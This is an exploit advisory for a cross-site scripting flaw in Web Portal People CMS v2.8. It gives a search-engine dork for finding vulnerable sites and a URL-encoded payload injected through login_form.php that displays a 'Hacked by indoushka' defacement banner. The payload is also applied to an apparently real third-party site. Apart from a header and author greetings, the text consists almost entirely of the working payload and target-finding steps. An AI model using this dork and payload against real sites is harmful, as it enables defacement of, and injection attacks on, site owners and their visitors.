==================================================================================================================================== | # Title : Web Portal People CMS v2.8 XSS Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : webportalpeople.com ~ ourclassonline.com | | # Dork : intext:''To obtain a site like this for your class visit www.ourclassonline.com.'' | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine . [+] use payload : login_form.php?action=forum_forum_mod%27%22()%26%25%3Cacx%3E%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E&forumid=1 [+] http://mcclintockhighchargers1968com/login_form.php?action=forum_forum_mod%27%22()%26%25%3Cacx%3E%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E&forumid=1 Greetings to :================================================================= jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R | ===============================================================================